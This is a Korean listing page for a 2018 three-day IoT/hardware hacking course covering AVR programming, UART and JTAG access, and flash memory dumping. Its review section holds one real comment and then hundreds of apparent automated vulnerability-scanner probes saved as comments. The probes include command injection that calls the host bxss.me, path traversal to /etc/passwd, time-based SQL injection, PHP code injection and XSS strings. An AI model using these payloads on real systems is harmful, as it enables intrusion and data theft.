IoT/Hardware Hacking
 
강의 요약

    스마트플랫폼, 사무기기, 가전제품 등의 다양한 임베디드 기기들이 대중화 되고, 본격적인 사물인터넷(IoT)의 시대가 도래함에
    따라 하드웨어 해킹의 위협 또한 증가되고 있습니다. 본 트레이닝의 목적은 하드웨어 해킹의 원리를 이해하고, 단순히 하드웨어 해킹 툴을
    이용하는 수준을 넘어서 자신이 원하는 하드웨어 기반의 해킹 툴을 직접 만들 수 있는 능력을 키우는 것에 초점을 맞추고 있습니다.
    본 트레이닝은 AVR 프로그래밍, UART 해킹, JTAG 해킹, Flash Memory Dump 등의 내용으로 구성이 되어 있습니다.

기본 정보

    • 강의명 : IoT/Hardware Hacking
    • 강사 : 정구홍 (Grayhash 수석 연구원, 해커스쿨 운영자)
    • 강의 일정 : 2018년 1월 10일(수) ~ 1월 12일(금)
    • 강의 시간 : 매일 오전 10시~오후 6시 (점심시간, 쉬는시간 포함 하루 8시간)
    • 강의 장소 : 분당구 정자동 Grayhash 트레이닝룸 [위치보기]
    • 수강 정원 : 10명 (최소 인원 5명)
    • 강의 비용 : 1,500,000원 (VAT 별도)
    • 중식 및 다과 제공

주요 교육 내용

    • AVR 마이크로 컨트롤러 Programming 실습
    • UART Hacking
    • JTAG Hacking
    • Flash Memory Dump

상세 교육 내용


    1일차 - AVR Programming
    

    [AVR 프로그래밍]
    • MCU(Micro Controller Unit)의 이해
    • Atmega128A MCU 소개
    • 개발 도구(Atmel studio 6.2) 설치
    • ISP(In-System Programming)의 이해
    • 범용/특수 입출력 포트의 이해
    • LED, 모터, 스피커 제어 실습
    • 7-Segment 및 Dot Matrix 제어 실습
    • 온도 센서 제어를 통한 ADC의 이해
    • 디지털 온도계 제작 실습
    • UART 통신 실습
    • 트랜지스터를 이용한 증폭 작용 실습
    • 스위치를 이용한 입력 핀 사용 실습
    • 인터럽트와 타이머의 이해
    • PWM(Pulse Width Modulation)의 이해
    • IrDA(적외선)을 이용한 무선 통신 실습
    • AVR Firmware 추출하기
    • AVR과 Arduino의 관계 이해
    • Arduino 프로그래밍 실습


    2일차 - UART&JTAG Hacking

    [UART Hacking]
    • 하드웨어 레벨 프로토콜의 이해 : UART, I2C(2-wire, TWI), SPI
    • UART Programming의 이해
    • Logic Analyzer를 이용한 UART 프로토콜 분석 실습
    • UART Pin 찾기 실습
    • 유무선 공유기 UART 연결 실습
    • Baudrate 분석 실습
    • 스마트폰(갤럭시S) UART 연결 실습
    • UART 쉘을 이용한 바이너리 추출 실습
    • 각종 기기들에 대한 UART 연결 시연 (스마트 TV, 홈 네트워크 시스템, CCTV, NAS 장비)
    • UART 해킹 case by case

    [JTAG Hacking]
    • JTAG의 개념 및 작동 원리 이해하기 (TDI, TDO, TCK, TMS, TRST)
    • TAPC(Test Access Port Controller) 상태도 이해하기
    • JTAG 실전 활용 예제
    • 상용 JTAG 툴 소개 : Riffbox Jtag, H-JTAG, AD-JTAG
    • JTAG Pin Scanning : Jtagulator, JTAGenum
    • JTAG을 이용한 펌웨어 획득 실습
    • JTAG을 이용한 동적 디버깅 실습


    3일차 - Flash Memory 덤프 실습

    • Flash Memory 기초
    • Winbond W25Q16BV Flash Memory의 이해
    • 마이크로 프로세서 GPIO Handling 실습
    • SPI 프로토콜의 이해
    • Flash Memory Dumper 개발 실습
    • Desoldering 실습
    • Winbond W25Q16BV Serial Flash Memory Dump 실습
    • 8-pin Test-clip 활용 실습
    • Dump된 Firmware Image 분석 및 바이너리 파일 추출 실습


    * 상기 교육 내용은 상황에 따라 일부 변동될 수 있습니다.

교재 및 실습 장비 목록

    [교재]
    • 강의 PPT

    [Hardware]
    • AVR 개발 키트(jmod-128-1)
    • UART, JTAG 장비
    • 점퍼 케이블, 빵판 및 각종 센서들

    [기타]
    • 수료증(certificate) 발급

교육자 준비사항

    • 노트북
    • Software : PowerPoint 혹은 Acrobat Reader, Vmware
    • 사전지식 : C언어 기초 (상수, 변수, 비트연산, 함수)



트레이닝 수강 후기

    * 김영환TI 사의 TMS320F28377S 의 이진 파일 보호 설정을 하고자 합니다.
TI 의 디버거 CCS (Code Composer Studio) 를 사용해서는 JTAG 을 통해 정상적으로 설정이 됩니다.
양산을 위해서 윈도즈 배치 파일에서 JTAG 을 통해서 이진 파일 보호 설정이 필요합니다.
CCS 가 수행하는 JTAG 동작을 해킹해서 윈도즈 배치 파일에서 이진 파일 보호 설정을 하는 것을 해줄수 있나요?
연락을 기다립니다. 010-4239-3254

    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqresponse.write(9686465*9743538)
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq'+response.write(9686465*9743538)+'
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq"+response.write(9686465*9743538)+"
    * JCfUZQsq555
    * JCfUZQsq555
    * response.write(9719721*9896549)555
    * JCfUZQsq555
    * '+response.write(9719721*9896549)+'555
    * JCfUZQsq555
    * JCfUZQsq555
    * "+response.write(9719721*9896549)+"555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqMEYon63o
    * JCfUZQsq555
    * JCfUZQsq555
    * UbAia7KM555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqecho wdxvil$()\ gynhut\nz^xyu||a #' &echo wdxvil$()\ gynhut\nz^xyu||a #|" &echo wdxvil$()\ gynhut\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq&echo pxvwjt$()\ mekemi\nz^xyu||a #' &echo pxvwjt$()\ mekemi\nz^xyu||a #|" &echo pxvwjt$()\ mekemi\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq|echo kczgmv$()\ msnitv\nz^xyu||a #' |echo kczgmv$()\ msnitv\nz^xyu||a #|" |echo kczgmv$()\ msnitv\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq(nslookup hitideizswxzbfe335.bxss.me||perl -e "gethostbyname('hitideizswxzbfe335.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq$(nslookup hitehpfkasext05722.bxss.me||perl -e "gethostbyname('hitehpfkasext05722.bxss.me')")
    * JCfUZQsq../../../../../../../../../../../../../../etc/passwd
    * JCfUZQsq555
    * JCfUZQsq&(nslookup hitsoeauuovhl0c76f.bxss.me||perl -e "gethostbyname('hitsoeauuovhl0c76f.bxss.me')")&'\"`0&(nslookup hitsoeauuovhl0c76f.bxss.me||perl -e "gethostbyname('hitsoeauuovhl0c76f.bxss.me')")&`'
    * JCfUZQsq../../../../../../../../../../../../../../windows/win.ini
    * JCfUZQsq|(nslookup hitiauxmtcsysf2353.bxss.me||perl -e "gethostbyname('hitiauxmtcsysf2353.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq`(nslookup hitqzaqqhugzb0ed3d.bxss.me||perl -e "gethostbyname('hitqzaqqhugzb0ed3d.bxss.me')")`
    * JCfUZQsq../555
    * JCfUZQsq;(nslookup hittbsezjphkn41e90.bxss.me||perl -e "gethostbyname('hittbsezjphkn41e90.bxss.me')")|(nslookup hittbsezjphkn41e90.bxss.me||perl -e "gethostbyname('hittbsezjphkn41e90.bxss.me')")&(nslookup hittbsezjphkn41e90.bxss.me||perl -e "gethostbyname('hittbsezjphkn41e90.bxss.me')")
    * ../../../../../../../../../../../../../../etc/pass555
    * JCfUZQsq555
    * echo crknzo$()\ uhwcpj\nz^xyu||a #' &echo crknzo$(555
    * ../../../../../../../../../../../../../../windows/555
    * &echo suboph$()\ brkzfa\nz^xyu||a #' &echo suboph$555
    * JCfUZQsq555
    * JCfUZQsq555
    * |echo mdfnid$()\ bkkbrn\nz^xyu||a #' |echo mdfnid$555
    * ../JCfUZQsq555
    * (nslookup hitduxyvsdunq7c13e.bxss.me||perl -e "get555
    * JCfUZQsq555
    * JCfUZQsq555
    * $(nslookup hitxzlnbdtldtc4b4f.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * &(nslookup hitmfdoikbnwj0591c.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * JCfUZQsq555
    * |(nslookup hitdujerlbqlvf8c90.bxss.me||perl -e "ge555
    * `(nslookup hituutlupjpbke18a7.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * JCfUZQsq555
    * ;(nslookup hitgaleynhcjd84aee.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq12345'"\'\");|]*{
<>''💡
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq555
    * JCfUZQsq<esi:include src="http://bxss.me/rpb.pn555
    * JCfUZQsq555
    * JCfUZQsq555
    * 12345'"\'\");|]*{ <>''💡555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq${10000030+10000163}
    * JCfUZQsq555
    * JCfUZQsq555
    * ${10000058+9999064}555
    * JCfUZQsq555
    * JCfUZQsq555
    * ZkNIWXBjSXA=555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555&n962270=v958278
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq&n956308=v943812555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq1some_inexistent_file_with_long_name.jpg
    * JCfUZQsq555
    * JCfUZQsqHttp://bxss.me/t/fit.txt
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq)
    * JCfUZQsqbxss.me
    * JCfUZQsq!(()&&!|*|*|
    * JCfUZQsq555
    * http://some-inexistent-website.acu/some_inexistent555
    * JCfUZQsq^(#$!@#$)(()))******
    * 1some_inexistent_file_with_long_name.jpg555
    * )555
    * JCfUZQsq555
    * Http://bxss.me/t/fit.txt555
    * !(()&&!|*|*|555
    * http://bxss.me/t/fit.txt?.jpg555
    * ^(#$!@#$)(()))******555
    * JCfUZQsq555
    * bxss.me555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq'.gethostbyname(lc('hittf'.'matueizo52ce9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(67).chr(115).chr(79).'
    * JCfUZQsq'"()
    * JCfUZQsq555
    * JCfUZQsq".gethostbyname(lc("hithj"."vnrnfbumc6e05.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(70).chr(104).chr(81)."
    * JCfUZQsq555
    * '.gethostbyname(lc('hitwj'.'ompfidbxa04ec.bxss.me.555
    * '"()555
    * JCfUZQsq555
    * ".gethostbyname(lc("hitjk"."rritpkkwb3509.bxss.me.555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqHttP://bxss.me/t/xss.html?%00
    * JCfUZQsq"+"A".concat(70-3).concat(22*4).concat(102).concat(89).concat(110).concat(82)+(require"socket"
Socket.gethostbyname("hitaa"+"hntyjliqe2a17.bxss.me.")[3].to_s)+"
    * JCfUZQsqX6v68ODm
    * JCfUZQsq555
    * JCfUZQsqbxss.me/t/xss.html?%00
    * JCfUZQsq'+'A'.concat(70-3).concat(22*4).concat(119).concat(83).concat(100).concat(82)+(require'socket'
Socket.gethostbyname('hitxc'+'jfkzavyd03914.bxss.me.')[3].to_s)+'
    * JCfUZQsq555
    * JCfUZQsq-1 OR 2+277-277-1=0+0+0+1 --
    * JCfUZQsq555
    * HttP://bxss.me/t/xss.html?%00555
    * "+"A".concat(70-3).concat(22*4).concat(109).concat555
    * JCfUZQsq555
    * JCfUZQsq-1 OR 2+263-263-1=0+0+0+1
    * JCfUZQsq555
    * bxss.me/t/xss.html?%00555
    * JCfUZQsq555
    * '+'A'.concat(70-3).concat(22*4).concat(118).concat555
    * JCfUZQsq555
    * JCfUZQsq-1' OR 2+158-158-1=0+0+0+1 --
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq-1' OR 2+978-978-1=0+0+0+1 or 'IiIfqub9'='
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq-1" OR 2+742-742-1=0+0+0+1 --
    * JCfUZQsq555
    * JCfUZQsq/xfs.bxss.me
    * ))))))))))))))))))))))))))))))))))))))))))))))))))555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqif(now()=sysdate(),sleep(15),0)
    * JCfUZQsq555
    * /xfs.bxss.me555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqleave_comment.php
    * JCfUZQsq0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    * JCfUZQsq;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
    * JCfUZQsq555
    * JCfUZQsq'"
    * JCfUZQsqleave_comment.php
    * JCfUZQsq';print(md5(31337));$a='
    * JCfUZQsq555
    * JCfUZQsq<!--
    * JCfUZQsqleave_comment.php/.
    * JCfUZQsq0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    * JCfUZQsq";print(md5(31337));$a="
    * JCfUZQsq555
    * '"555
    * leave_comment.php555
    * JCfUZQsq${@print(md5(31337))}
    * JCfUZQsq555
    * <!--555
    * leave_comment.php555
    * JCfUZQsq(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    * JCfUZQsq${@print(md5(31337))}\
    * JCfUZQsq555
    * leave_comment.php/.555
    * JCfUZQsq'.print(md5(31337)).'
    * JCfUZQsq555'"()&%<acx><ScRiPt >ltrh(9814)</ScRiPt>
    * ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'))555
    * JCfUZQsq'"()&%<acx><ScRiPt >ltrh(9768)</ScRiPt>
    * JCfUZQsq-1; waitfor delay '0:0:15' --
    * ';print(md5(31337));$a='555
    * JCfUZQsq5559797492
    * ";print(md5(31337));$a="555
    * JCfUZQsq'"()&%<acx><ScRiPt >ltrh(9613)555
    * ${@print(md5(31337))}555
    * '"()&%<acx><ScRiPt >ltrh(9025)</ScR555
    * JCfUZQsq-1); waitfor delay '0:0:15' --
    * ${@print(md5(31337))}\555
    * JCfUZQsq9971002555
    * '.print(md5(31337)).'555
    * JCfUZQsq1 waitfor delay '0:0:15' --
    * JCfUZQsqpxuj69q8'; waitfor delay '0:0:15' --
    * JCfUZQsq-5 OR 692=(SELECT 692 FROM PG_SLEEP(15))--
    * JCfUZQsq-5) OR 784=(SELECT 784 FROM PG_SLEEP(15))--
    * JCfUZQsq-1)) OR 329=(SELECT 329 FROM PG_SLEEP(15))--
    * JCfUZQsqZVhLGxth' OR 295=(SELECT 295 FROM PG_SLEEP(15))--
    * JCfUZQsqbe1hzp1s') OR 892=(SELECT 892 FROM PG_SLEEP(15))--
    * JCfUZQsq96Hf0PDm')) OR 941=(SELECT 941 FROM PG_SLEEP(15))--
    * JCfUZQsq555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    * JCfUZQsq555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    * JCfUZQsq1'"
    * JCfUZQsq1%2527%2522
    * JCfUZQsq@@8NQGR
    * JCfUZQsq555
    * JCfUZQsq555
    * arjWtTFi555
    * -1 OR 2+315-315-1=0+0+0+1 --555
    * -1 OR 2+105-105-1=0+0+0+1555
    * -1' OR 2+814-814-1=0+0+0+1 --555
    * -1' OR 2+209-209-1=0+0+0+1 or 'CAJl6jr1'='555
    * -1" OR 2+542-542-1=0+0+0+1 --555
    * if(now()=sysdate(),sleep(15),0)555
    * 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z555
    * 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z555
    * (select(0)from(select(sleep(15)))v)/*'+(select(0)f555
    * 1 waitfor delay '0:0:15' --555
    * ip1CWrh0'; waitfor delay '0:0:15' --555
    * 7tO6eQW8' OR 928=(SELECT 928 FROM PG_SLEEP(15))--555
    * yRskVWzW') OR 492=(SELECT 492 FROM PG_SLEEP(15))--555
    * iFz5RWsC')) OR 915=(SELECT 915 FROM PG_SLEEP(15))-555
    * JCfUZQsq'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(555
    * 1'"555
    * 1%2527%2522555
    * @@Sd5Q8555
    * JCfUZQsq555
  * 작성자:       * 소속:       * 이메일:
   (성함, 혹은 닉네임을 입력해주세요. 입력해주신 정보들 중 작성자와 후기만 공개됩니다.)